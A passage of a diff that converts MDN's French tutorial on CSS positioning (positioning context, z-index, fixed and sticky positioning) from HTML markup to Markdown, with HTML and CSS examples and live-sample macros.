{{htmlelement("html")}} — l'élément à position absolue est imbriqué dans l'élément {{htmlelement("body")}} dans le code source HTML, mais dans le rendu final, il est éloigné de 30px du haut et de la gauche du bord de page, qui est l'élément {{htmlelement("html")}}. Cela s'appelle plus précisément **le contexte de positionnement** de l'élément. -<p>Nous pouvons changer ce <strong>contexte de positionnement</strong> — par rapport à quel élément est placé l'élément à positionner en absolu. Cela s'effectue en définissant le positionnement sur un des autres éléments parents — un des éléments dans lequel il est imbriqué (vous ne pouvez pas le positionner par rapport à un élément dans lequel il n'est pas imbriqué). Pour l'illustrer, ajoutez la déclaration suivante à la règle body:</p> +Nous pouvons changer ce **contexte de positionnement** — par rapport à quel élément est placé l'élément à positionner en absolu. Cela s'effectue en définissant le positionnement sur un des autres éléments parents — un des éléments dans lequel il est imbriqué (vous ne pouvez pas le positionner par rapport à un élément dans lequel il n'est pas imbriqué). Pour l'illustrer, ajoutez la déclaration suivante à la règle body: -<pre>position: relative;</pre> + position: relative; -<p>Cela devrait donner le résultat suivant:</p> +Cela devrait donner le résultat suivant: -<pre class="brush: html hidden"><h1>Contextes de positionnement</h1> +```html hidden +<h1>Contextes de positionnement</h1> -<p>Je suis élément de base de niveau bloc. Les éléments de niveau de bloc adjacents se trouvent sur de nouvelles lignes en dessous de moi.</p> -<p class="positioned">Maintenant je suis positionné de manière absolue par rapport à l'élément <code>&lt;body&gt;</code>, et non par rapport à l'élément <code>&lt;html&gt;</code> !</p> -<p>Entre éléments adjacents, nous sommes séparés par nos marges. En raison de la fusion des marges, nous sommes séparés par la largeur de la plus grande de nos marges, et non par la somme des deux.</p> -<p>Les éléments « inline » <span>comme celui-ci </span>ou <span>cet autre</span> sont sur une même ligne que les noeuds de texte adjacents, s'il y a de la place sur la même ligne. Les éléments « inline » débordants <span>se replient, si possible, sur une nouvelle ligne — comme celle-ci contenant du texte</span> ; sinon, ils passent simplement à une nouvelle ligne, un peu comme cette image le fait : <img src="long.jpg"></p> -</pre> +<p>Je suis élément de base de niveau bloc. Les éléments de niveau de bloc adjacents se trouvent sur de nouvelles lignes en dessous de moi.</p> +<p class="positioned">Maintenant je suis positionné de manière absolue par rapport à l'élément <code><body></code>, et non par rapport à l'élément <code><html></code> !</p> +<p>Entre éléments adjacents, nous sommes séparés par nos marges. En raison de la fusion des marges, nous sommes séparés par la largeur de la plus grande de nos marges, et non par la somme des deux.</p> +<p>Les éléments « inline » <span>comme celui-ci </span>ou <span>cet autre</span> sont sur une même ligne que les noeuds de texte adjacents, s'il y a de la place sur la même ligne. Les éléments « inline » débordants <span>se replient, si possible, sur une nouvelle ligne — comme celle-ci contenant du texte</span> ; sinon, ils passent simplement à une nouvelle ligne, un peu comme cette image le fait : <img src="long.jpg"></p> +``` -<pre class="brush: css hidden">body { +```css hidden +body { width: 500px; margin: 0 auto; position: relative; @@ -209,51 +214,52 @@ span { background: yellow; top: 30px; left: 30px; -}</pre> +} +``` -<p>{{ EmbedLiveSample('Contextes_de_positionnement','100%', 420) }}</p> +{{ EmbedLiveSample('Contextes_de_positionnement','100%', 420) }} -<p>À présent, l'élément a été positionné par rapport à l'élément {{htmlelement("body")}}.</p> +À présent, l'élément a été positionné par rapport à l'élément {{htmlelement("body")}}. -<div class="note"> -<p><strong>Note :</strong> à ce stade, vous pouvez voir cet exemple ici <code><a href="http://mdn.github.io/learning-area/css/css-layout/positioning/4_positioning-context.html">4_positioning-context.html</a></code> (<a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/positioning/4_positioning-context.html">voir le code source</a>).</p> -</div> +> **Note :** à ce stade, vous pouvez voir cet exemple ici [`4_positioning-context.html`](http://mdn.github.io/learning-area/css/css-layout/positioning/4_positioning-context.html) ([voir le code source](https://github.com/mdn/learning-area/blob/master/css/css-layout/positioning/4_positioning-context.html)). -<h3 id="Présentation_du_z-index">Présentation du z-index</h3> +### Présentation du z-index -<p>Tout ce positionnement absolu est amusant, mais il y a autre chose que nous n'avons pas encore considéré — quand les éléments se chevauchent, comment est déterminé l'élément apparaissant au-dessus d'un autre ? Dans les exemples vus jusqu'à présent, nous n'avions qu'un seul élément à positionner dans le contexte ; il apparaissait en haut, car les éléments positionnés l'emportent sur les éléments non positionnés. Qu'en est‑il lorsqu'il y en a plus d'un ?</p> +Tout ce positionnement absolu est amusant, mais il y a autre chose que nous n'avons pas encore considéré — quand les éléments se chevauchent, comment est déterminé l'élément apparaissant au-dessus d'un autre ? Dans les exemples vus jusqu'à présent, nous n'avions qu'un seul élément à positionner dans le contexte ; il apparaissait en haut, car les éléments positionnés l'emportent sur les éléments non positionnés. Qu'en est‑il lorsqu'il y en a plus d'un ? -<p>Ajoutez le code suivant à la CSS, pour faire en sorte que le premier paragraphe soit aussi en positionnement absolu :</p> +Ajoutez le code suivant à la CSS, pour faire en sorte que le premier paragraphe soit aussi en positionnement absolu : -<pre>p:nth-of-type(1) { - position: absolute; - background: lime; - top: 10px; - right: 30px; -}</pre> + p:nth-of-type(1) { + position: absolute; + background: lime; + top: 10px; + right: 30px; + } -<p>A ce stade, vous verrez le premier paragraphe coloré en vert, déplacé hors du cours normal des documents et positionné un peu au-dessus de l'endroit où il se trouvait à l'origine. Il est également empilé sous le paragraphe <code>.positioned</code> original, là où les deux se chevauchent. C'est parce que le paragraphe <code>.positioned</code> est le deuxième paragraphe dans l'ordre du code source ; les éléments positionnés en dernier dans l'ordre du code source l'emportent sur les éléments positionnés plus en amont dans l'ordre du code source.</p> +A ce stade, vous verrez le premier paragraphe coloré en vert, déplacé hors du cours normal des documents et positionné un peu au-dessus de l'endroit où il se trouvait à l'origine. Il est également empilé sous le paragraphe `.positioned` original, là où les deux se chevauchent. C'est parce que le paragraphe `.positioned` est le deuxième paragraphe dans l'ordre du code source ; les éléments positionnés en dernier dans l'ordre du code source l'emportent sur les éléments positionnés plus en amont dans l'ordre du code source. -<p>Est‑il possible de changer l'ordre d'empilement ? Oui, vous le pouvez avec la propriété {{cssxref("z-index")}}. « z-index » est une référence à l'axe <strong>z</strong>. Vous vous souvenez peut-être de points précédents du source où nous avons discuté des pages Web en utilisant des coordonnées horizontales (axe des x) et verticales (axe des y) pour déterminer le positionnement de choses comme les images de fond et les décalages d'ombres portées. (0,0) est en haut à gauche de la page (ou de l'élément), et les axes x et y vont respectivement vers la droite et vers le bas de la page (pour les langues s'écrivant de gauche à droite, en tout cas).</p> +Est‑il possible de changer l'ordre d'empilement ? Oui, vous le pouvez avec la propriété {{cssxref("z-index")}}. « z-index » est une référence à l'axe **z**. Vous vous souvenez peut-être de points précédents du source où nous avons discuté des pages Web en utilisant des coordonnées horizontales (axe des x) et verticales (axe des y) pour déterminer le positionnement de choses comme les images de fond et les décalages d'ombres portées. (0,0) est en haut à gauche de la page (ou de l'élément), et les axes x et y vont respectivement vers la droite et vers le bas de la page (pour les langues s'écrivant de gauche à droite, en tout cas). -<p>Les pages Web ont aussi un axe z : une ligne imaginaire qui va de la surface de votre écran, vers votre visage (ou tout ce que vous aimez avoir devant l'écran). Les valeurs de {{cssxref("z-index")}}} affectent l'emplacement des éléments positionnés sur cet axe ; les valeurs positives les déplacent vers le haut de la pile, et les valeurs négatives les déplacent vers le bas de la pile. Par défaut, les éléments positionnés ont tous un <code>z-index</code> <code>auto</code>, qui est effectivement 0.</p> +Les pages Web ont aussi un axe z : une ligne imaginaire qui va de la surface de votre écran, vers votre visage (ou tout ce que vous aimez avoir devant l'écran). Les valeurs de {{cssxref("z-index")}}} affectent l'emplacement des éléments positionnés sur cet axe ; les valeurs positives les déplacent vers le haut de la pile, et les valeurs négatives les déplacent vers le bas de la pile. Par défaut, les éléments positionnés ont tous un `z-index` `auto`, qui est effectivement 0. -<p>Pour modifier l'ordre d'empilement, ajoutez la déclaration suivante à la règle <code>p:nth-of-type(1)</code> :</p> +Pour modifier l'ordre d'empilement, ajoutez la déclaration suivante à la règle `p:nth-of-type(1)` : -<pre>z-index: 1;</pre> + z-index: 1; -<p>Voici maintenant l'exemple terminé :</p> +Voici maintenant l'exemple terminé : -<pre class="brush: html hidden"><h1>z-index</h1> +```html hidden +<h1>z-index</h1> -<p>Je suis élément de base de niveau bloc. Les éléments de niveau de bloc adjacents se trouvent sur de nouvelles lignes en dessous de moi.</p> -<p class="positioned">Maintenant je suis positionné de manière absolue par rapport à l'élément <code>&lt;body&gt;</code>, et non par rapport à l'élément <code>&lt;html&lt;html&gt;</code> !</p> -<p>Entre éléments adjacents, nous sommes séparés par nos marges. En raison de la fusion des marges, nous sommes séparés par la largeur de la plus grande de nos marges, et non par la somme des deux.</p> -<p>Les éléments « inline » <span>comme celui-ci </span>ou <span>cet autre</span> sont sur une même ligne que les noeuds de texte adjacents, s'il y a de la place sur la même ligne. Les éléments « inline » débordants <span>se replient, si possible, sur une nouvelle ligne — comme celle-ci contenant du texte</span> ; sinon, ils passent simplement à une nouvelle ligne, un peu comme cette image le fait : <img src="long.jpg"></p> -</pre> +<p>Je suis élément de base de niveau bloc. Les éléments de niveau de bloc adjacents se trouvent sur de nouvelles lignes en dessous de moi.</p> +<p class="positioned">Maintenant je suis positionné de manière absolue par rapport à l'élément <code><body></code>, et non par rapport à l'élément <code><html<html></code> !</p> +<p>Entre éléments adjacents, nous sommes séparés par nos marges. En raison de la fusion des marges, nous sommes séparés par la largeur de la plus grande de nos marges, et non par la somme des deux.</p> +<p>Les éléments « inline » <span>comme celui-ci </span>ou <span>cet autre</span> sont sur une même ligne que les noeuds de texte adjacents, s'il y a de la place sur la même ligne. Les éléments « inline » débordants <span>se replient, si possible, sur une nouvelle ligne — comme celle-ci contenant du texte</span> ; sinon, ils passent simplement à une nouvelle ligne, un peu comme cette image le fait : <img src="long.jpg"></p> +``` -<pre class="brush: css hidden">body { +```css hidden +body { width: 500px; margin: 0 auto; position: relative; } @@ -276,59 +282,60 @@ p:nth-of-type(1) { top: 10px; right: 30px; z-index: 1; } -</pre> +``` -<p>{{ EmbedLiveSample('Présentation_du_z-index', '100%', 400) }}</p> +{{ EmbedLiveSample('Présentation_du_z-index', '100%', 400) }} -<p>Notez que <code>z-index</code> n'accepte que des valeurs d'index sans unité ; vous ne pouvez pas préciser que vous voulez qu'un élément soit à 23 pixels sur l'axe des z — cela ne fonctionne pas ainsi. Les plus grandes valeurs vont au‑dessus des valeurs plus faibles et c'est à vous d'indiquer les valeurs. Utiliser 2 et 3 aura le même effet que 300 et 40000.</p> +Notez que `z-index` n'accepte que des valeurs d'index sans unité ; vous ne pouvez pas préciser que vous voulez qu'un élément soit à 23 pixels sur l'axe des z — cela ne fonctionne pas ainsi. Les plus grandes valeurs vont au‑dessus des valeurs plus faibles et c'est à vous d'indiquer les valeurs. Utiliser 2 et 3 aura le même effet que 300 et 40000. -<div class="note"> -<p><strong>Note :</strong> sur ce sujet, vous pouvez voir l'exemple <code><a href="http://mdn.github.io/learning-area/css/css-layout/positioning/5_z-index.html">5_z-index.html</a></code> (<a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/positioning/5_z-index.html">voir le code source</a>).</p> -</div> +> **Note :** sur ce sujet, vous pouvez voir l'exemple [`5_z-index.html`](http://mdn.github.io/learning-area/css/css-layout/positioning/5_z-index.html) ([voir le code source](https://github.com/mdn/learning-area/blob/master/css/css-layout/positioning/5_z-index.html)). -<h3 id="Positionnement_«_fixed_»">Positionnement « fixed »</h3> +### Positionnement « fixed » -<p>Voyons maintenant le positionnement « fixed ». Cela fonctionne exactement de la même manière que le positionnement absolu, avec une différence essentielle : alors que le positionnement absolu fixe un élément en place par rapport à l'élément {{htmlelement("html")}} ou son parent positionné le plus proche, le positionnement « fixed » fige un élément en place par rapport à la vue par la fenêtre du navigateur elle-même. Cela signifie que vous pouvez créer des éléments d'interface utilisateur utiles qui sont fixés en place, comme des menus de navigation persistants.</p> +Voyons maintenant le positionnement « fixed ». Cela fonctionne exactement de la même manière que le positionnement absolu, avec une différence essentielle : alors que le positionnement absolu fixe un élément en place par rapport à l'élément {{htmlelement("html")}} ou son parent positionné le plus proche, le positionnement « fixed » fige un élément en place par rapport à la vue par la fenêtre du navigateur elle-même. Cela signifie que vous pouvez créer des éléments d'interface utilisateur utiles qui sont fixés en place, comme des menus de navigation persistants. -<p>Voici un exemple simple pour montrer ce que nous voulons dire. D'abord, supprimez la règle de <code>p:nth-of-type(1)</code> et <code>.positioned</code> de la CSS.</p> +Voici un exemple simple pour montrer ce que nous voulons dire. D'abord, supprimez la règle de `p:nth-of-type(1)` et `.positioned` de la CSS. -<p>Maintenant, mettez à jour la règle <code>body</code> : supprimez la déclaration <code>position : relative ;</code> et ajoutez une hauteur fixe, ainsi :</p> +Maintenant, mettez à jour la règle `body` : supprimez la déclaration `position : relative ;` et ajoutez une hauteur fixe, ainsi : -<pre>body { - width: 500px; - height: 1400px; - margin: 0 auto; -}</pre> + body { + width: 500px; + height: 1400px; + margin: 0 auto; + } -<p>Maintenant, donnez la position <code>fixed</code> à l'élément {{htmlelement("h1")}} et centrez‑le en haut de la fenêtre. Ajoutez la règle suivante à la CSS :</p> +Maintenant, donnez la position `fixed` à l'élément {{htmlelement("h1")}} et centrez‑le en haut de la fenêtre. Ajoutez la règle suivante à la CSS : -<pre>h1 { - position: fixed; - top: 0; - width: 500px; - margin: 0 auto; - background: white; - padding: 10px; -}</pre> + h1 { + position: fixed; + top: 0; + width: 500px; + margin: 0 auto; + background: white; + padding: 10px; + } -<p><code>top: 0;</code> est requis pour qu'il colle au haut de l'écran ; ensuite nous donnons au titre d'en‑tête la même largeur que la colonne de contenu et utilisons la vieille astuce classique <code>margin: 0 auto;</code> pour le centrer. Nous mettons ensuite un fond blanc et un peu de remplissage pour que le contenu ne soit pas visible sous lui.</p> +`top: 0;` est requis pour qu'il colle au haut de l'écran ; ensuite nous donnons au titre d'en‑tête la même largeur que la colonne de contenu et utilisons la vieille astuce classique `margin: 0 auto;` pour le centrer. Nous mettons ensuite un fond blanc et un peu de remplissage pour que le contenu ne soit pas visible sous lui. -<p>Si vous enregistrez et actualisez maintenant, vous verrez un petit effet amusant par lequel le titre reste fixe et le contenu semble défiler vers le haut et disparaître en dessous. Mais nous pouvons l'améliorer davantage — actuellement, une partie du contenu commence sous l'en‑tête. En effet, l'en-tête positionné n'apparaît plus dans le cours du document, de sorte que le reste du contenu se déplace vers le haut. Nous devons tout baisser un peu ; nous pouvons le faire en fixant une marge supérieure sur le premier paragraphe. Ajoutez ceci maintenant :</p> +Si vous enregistrez et actualisez maintenant, vous verrez un petit effet amusant par lequel le titre reste fixe et le contenu semble défiler vers le haut et disparaître en dessous. Mais nous pouvons l'améliorer davantage — actuellement, une partie du contenu commence sous l'en‑tête. En effet, l'en-tête positionné n'apparaît plus dans le cours du document, de sorte que le reste du contenu se déplace vers le haut. Nous devons tout baisser un peu ; nous pouvons le faire en fixant une marge supérieure sur le premier paragraphe. Ajoutez ceci maintenant : -<pre>p:nth-of-type(1) { - margin-top: 60px; -}</pre> + p:nth-of-type(1) { + margin-top: 60px; + } -<p>Voici l'exemple terminé :</p> +Voici l'exemple terminé : -<pre class="brush: html hidden"><h1>Positionnement fixe</h1> +```html hidden +<h1>Positionnement fixe</h1> -<p>Je suis élément de base de niveau bloc. Les éléments de niveau de bloc adjacents se trouvent sur de nouvelles lignes en dessous de moi.</p> -<p class="positioned">Je ne suis plus positionné...</p> -<p>Entre éléments adjacents, nous sommes séparés par nos marges. En raison de la fusion des marges, nous sommes séparés par la largeur de la plus grande de nos marges, et non par la somme des deux.</p> -<p>Les éléments « inline » <span>comme celui-ci </span>ou <span>cet autre</span> sont sur une même ligne que les noeuds de texte adjacents, s'il y a de la place sur la même ligne. Les éléments « inline » débordants <span>se replient, si possible, sur une nouvelle ligne — comme celle-ci contenant du texte</span> ; sinon, ils passent simplement à une nouvelle ligne, un peu comme cette image le fait : <img src="long.jpg"></p></pre> +<p>Je suis élément de base de niveau bloc. Les éléments de niveau de bloc adjacents se trouvent sur de nouvelles lignes en dessous de moi.</p> +<p class="positioned">Je ne suis plus positionné...</p> +<p>Entre éléments adjacents, nous sommes séparés par nos marges. En raison de la fusion des marges, nous sommes séparés par la largeur de la plus grande de nos marges, et non par la somme des deux.</p> +<p>Les éléments « inline » <span>comme celui-ci </span>ou <span>cet autre</span> sont sur une même ligne que les noeuds de texte adjacents, s'il y a de la place sur la même ligne. Les éléments « inline » débordants <span>se replient, si possible, sur une nouvelle ligne — comme celle-ci contenant du texte</span> ; sinon, ils passent simplement à une nouvelle ligne, un peu comme cette image le fait : <img src="long.jpg"></p> +``` -<pre class="brush: css hidden">body { +```css hidden +body { width: 500px; height: 1400px; margin: 0 auto; @@ -357,32 +364,33 @@ h1 { p:nth-of-type(1) { margin-top: 60px; -}</pre> - -<p>{{ EmbedLiveSample('Positionnement_«_fixed_»', '100%', 400) }}</p> +} +``` -<div class="note"> -<p><strong>Note :</strong> à ce stade de l'article, vous pouvez voir un exemple en direct ici <code><a href="http://mdn.github.io/learning-area/css/css-layout/positioning/6_fixed-positioning.html">6_fixed-positioning.html</a></code> (voir le <a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/positioning/6_fixed-positioning.html">code source</a>).</p> -</div> +{{ EmbedLiveSample('Positionnement_«_fixed_»', '100%', 400) }} -<h3 id="«_position_sticky_»">« position: sticky »</h3> +> **Note :** à ce stade de l'article, vous pouvez voir un exemple en direct ici [`6_fixed-positioning.html`](http://mdn.github.io/learning-area/css/css-layout/positioning/6_fixed-positioning.html) (voir le [code source](https://github.com/mdn/learning-area/blob/master/css/css-layout/positioning/6_fixed-positioning.html)). -<p>Il y a une autre valeur de positionnement disponible appelée <code>position : sticky</code>. Elle est un peu plus récente que les autres. Il s'agit essentiellement d'un hybride entre position relative et position fixe : l'élément à positionner est en positionnement relatif jusqu'à un certain seuil (par ex. 10px du haut de la fenêtre), seuil au delà duquel il est en positionnement fixe. Ce positionnement s'utilise par exemple pour faire défiler une barre de navigation avec la page jusqu'à un certain point et ensuite coller en haut de la page.</p> +### « position: sticky » +Il y a une autre valeur de positionnement disponible appelée `position : sticky`. Elle est un peu plus récente que les autres. Il s'agit essentiellement d'un hybride entre position relative et position fixe : l'élément à positionner est en positionnement relatif jusqu'à un certain seuil (par ex. 10px du haut de la fenêtre), seuil au delà duquel il est en positionnement fixe. Ce positionnement s'utilise par exemple pour faire défiler une barre de navigation avec la page jusqu'à un certain point et ensuite coller en haut de la page. -<h4>Exemple simple</h4> +#### Exemple simple -<pre class="brush: html hidden"><h1>Positionnement collant</h1> +```html hidden +<h1>Positionnement collant</h1> -<p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.</p> +<p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.</p> -<div class="positioned">Collant : relatif en deça, fixe au delà</div> +<div class="positioned">Collant : relatif en deça, fixe au delà</div> -<p>Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.</p> +<p>Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.</p> -<p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.</p> </pre> +<p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.</p> +``` -<pre class="brush: css hidden">body { +```css hidden +body { width: 500px; margin: 0 auto; } @@ -393,55 +401,59 @@ p:nth-of-type(1) { padding: 10px; margin: 10px; border-radius: 5px; -}</pre> +} +``` -<pre class="brush: css">.positioned { +```css +.positioned { position: sticky; top: 30px; left: 30px; -}</pre> - - -<p>{{ EmbedLiveSample('Exemple_simple', '100%', 200) }}</p> - -<h4>Index déroulant</h4> - -<p>Une utilisation courante pleine d'intérêt de <code>position: sticky</code> permet de créer une page d'index déroulante dans laquelle les divers en‑tête restent collés en haut de la page une fois qu'ils l'ont atteint. Le balisage d'un exemple de ce type ressemble à ceci :</p> - -<pre class="brush: html"><h1>Positionnement collant</h1> - -<dl> - <dt>A</dt> - <dd>Abeille</dd> - <dd>Abricot</dd> - <dd>Altimètre</dd> - <dd>Avion</dd> - <dt>B</dt> - <dd>Banane</dd> - <dd>Betterave</dd> - <dd>Bœuf</dd> - <dd>Bouvreuil</dd> - <dd>Buzzard</dd> - <dt>C</dt> - <dd>Calculateur</dd> - <dd>Camera</dd> - <dd>Cane</dd> - <dd>Chameau</dd> - <dt>D</dt> - <dd>Dime</dd> - <dd>Dindon</dd> - <dd>Drapeau</dd> - <dd>Drone</dd> - <dt>E</dt> - <dd>Eau</dd> - <dd>Éléphant</dd> - <dd>Escadrille</dd> -</dl> -</pre> - -<p>Le CSS pourrait ressembler à ce qui suit. Dans le cours normal, les éléments {{htmlelement("dt")}} défilent avec le contenu. Quand on ajoute <code>position : sticky</code> à l'élément {{htmlelement("dt")}} avec une valeur {{cssxref("top")}} de 0, les navigateurs prenant en charge ce positionnement colleront les titres au sommet de la vue de la fenêtre au fur et à mesure qu'ils atteignent cette position. Chaque en-tête suivant remplacera l'en-tête précédent au fur et à mesure que le contenu défile.</p> - -<pre class="brush: css">dt { +} +``` + +{{ EmbedLiveSample('Exemple_simple', '100%', 200) }} + +#### Index déroulant + +Une utilisation courante pleine d'intérêt de `position: sticky` permet de créer une page d'index déroulante dans laquelle les divers en‑tête restent collés en haut de la page une fois qu'ils l'ont atteint. Le balisage d'un exemple de ce type ressemble à ceci : + +```html +<h1>Positionnement collant</h1> + +<dl> + <dt>A</dt> + <dd>Abeille</dd> + <dd>Abricot</dd> + <dd>Altimètre</dd> + <dd>Avion</dd> + <dt>B</dt> + <dd>Banane</dd> + <dd>Betterave</dd> + <dd>Bœuf</dd> + <dd>Bouvreuil</dd> + <dd>Buzzard</dd> + <dt>C</dt> + <dd>Calculateur</dd> + <dd>Camera</dd> + <dd>Cane</dd> + <dd>Chameau</dd> + <dt>D</dt> + <dd>Dime</dd> + <dd>Dindon</dd> + <dd>Drapeau</dd> + <dd>Drone</dd> + <dt>E</dt> + <dd>Eau</dd> + <dd>Éléphant</dd> + <dd>Escadrille</dd> +</dl> +``` + +Le CSS pourrait ressembler à ce qui suit. Dans le cours normal, les éléments {{htmlelement("dt")}} défilent avec le contenu. Quand on ajoute `position : sticky` à l'élément {{htmlelement("dt")}} avec une valeur {{cssxref("top")}} de 0, les navigateurs prenant en charge ce positionnement colleront les titres au sommet de la vue de la fenêtre au fur et à mesure qu'ils atteignent cette position. Chaque en-tête suivant remplacera l'en-tête précédent au fur et à mesure que le contenu défile. + +```css +dt { background-color: black; color: white; padding: 10px; @@ -450,9 +462,10 @@ p:nth-of-type(1) { left: 0; margin: 1em 0; } -</pre> +``` -<pre class="brush: css hidden">body { +```css hidden +body { width: 500px; height: 1400px; margin: 0 auto; @@ -467,38 +480,32 @@ dt { left: 0; margin: 1em 0; } -</pre> +``` -<p>{{ EmbedLiveSample('Index_déroulant', '100%', 200) }}</p> +{{ EmbedLiveSample('Index_déroulant', '100%', 200) }} -<div class="note"> -<p><strong>Note :</strong> à ce stade de l'article, vous pouvez voir un exemple en direct ici <code><a href="http://mdn.github.io/learning-area/css/css-layout/positioning/7_sticky-positioning.html">7_sticky-positioning.html</a></code> (voir le <a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/positioning/7_sticky-positioning.html">code</a> <a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/positioning/7_sticky-positioning.html">source</a>).</p> -</div> +> **Note :** à ce stade de l'article, vous pouvez voir un exemple en direct ici [`7_sticky-positioning.html`](http://mdn.github.io/learning-area/css/css-layout/positioning/7_sticky-positioning.html) (voir le [code](https://github.com/mdn/learning-area/blob/master/css/css-layout/positioning/7_sticky-positioning.html) [source](https://github.com/mdn/learning-area/blob/master/css/css-layout/positioning/7_sticky-positioning.html)). -<h2 id="Résumé">Résumé</h2> +## Résumé -<p>Je suis sûr que vous avez eu du plaisir à jouer avec le positionnement de base ; bien que ce ne soit pas une méthode à utiliser pour des mises en page complètes, comme vous pouvez le voir il y a beaucoup de tâches pour lesquelles il est adapté.</p> +Je suis sûr que vous avez eu du plaisir à jouer avec le positionnement de base ; bien que ce ne soit pas une méthode à utiliser pour des mises en page complètes, comme vous pouvez le voir il y a beaucoup de tâches pour lesquelles il est adapté. -<p>{{PreviousMenuNext("Learn/CSS/CSS_layout/Floats", "Learn/CSS/CSS_layout/Multiple-column_Layout", "Learn/CSS/CSS_layout")}}</p> +{{PreviousMenuNext("Learn/CSS/CSS_layout/Floats", "Learn/CSS/CSS_layout/Multiple-column_Layout", "Learn/CSS/CSS_layout")}} -<h2 id="Voir_aussi">Voir aussi</h2> +## Voir aussi -<ul> - <li>Référence de la propriété {{cssxref("position")}}.</li> - <li><a href="/fr/docs/Learn/CSS/CSS_layout/Practical_positioning_examples">Exemples pratiques de positionnement</a>, pour quelques idées utiles supplémentaires.</li> -</ul> +- Référence de la propriété {{cssxref("position")}}. +- [Exemples pratiques de positionnement](/fr/docs/Learn/CSS/CSS_layout/Practical_positioning_examples), pour quelques idées utiles supplémentaires. -<h2 id="Dans_ce_module">Dans ce module</h2> +## Dans ce module -<ul> - <li><a href="/fr/docs/Learn/CSS/CSS_layout/Introduction">Introduction to CSS layout</a></li> - <li><a href="/fr/docs/Learn/CSS/CSS_layout/Normal_Flow">Normal Flow</a></li> - <li><a href="/fr/docs/Learn/CSS/CSS_layout/Flexbox">Flexbox</a></li> - <li><a href="/fr/docs/Learn/CSS/CSS_layout/Grids">Grid</a></li> - <li><a href="/fr/docs/Learn/CSS/CSS_layout/Floats">Floats</a></li> - <li><a href="/fr/docs/Learn/CSS/CSS_layout/Positioning">Positioning</a></li> - <li><a href="/fr/docs/Learn/CSS/CSS_layout/Multiple-column_Layout">Multiple-column Layout</a></li> - <li><a href="/fr/docs/Learn/CSS/CSS_layout/Legacy_Layout_Methods">Legacy Layout Methods</a></li> - <li><a href="/fr/docs/Learn/CSS/CSS_layout/Supporting_Older_Browsers">Supporting older browsers</a></li> - <li><a href="/fr/docs/Learn/CSS/CSS_layout/Fundamental_Layout_Comprehension">Fundamental Layout Comprehension Assessment</a></li> -</ul> +- [Introduction to CSS layout](/fr/docs/Learn/CSS/CSS_layout/Introduction) +- [Normal Flow](/fr/docs/Learn/CSS/CSS_layout/Normal_Flow) +- [Flexbox](/fr/docs/Learn/CSS/CSS_layout/Flexbox) +- [Grid](/fr/docs/Learn/CSS/CSS_layout/Grids) +- [Floats](/fr/docs/Learn/CSS/CSS_layout/Floats) +- [Positioning](/fr/docs/Learn/CSS/CSS_layout/Positioning) +- [Multiple-column Layout](/fr/docs/Learn/CSS/CSS_layout/Multiple-column_Layout) +- [Legacy Layout Methods](/fr/docs/Learn/CSS/CSS_layout/Legacy_Layout_Methods) +- [Supporting older browsers](/fr/docs/Learn/CSS/CSS_layout/Supporting_Older_Browsers) +- 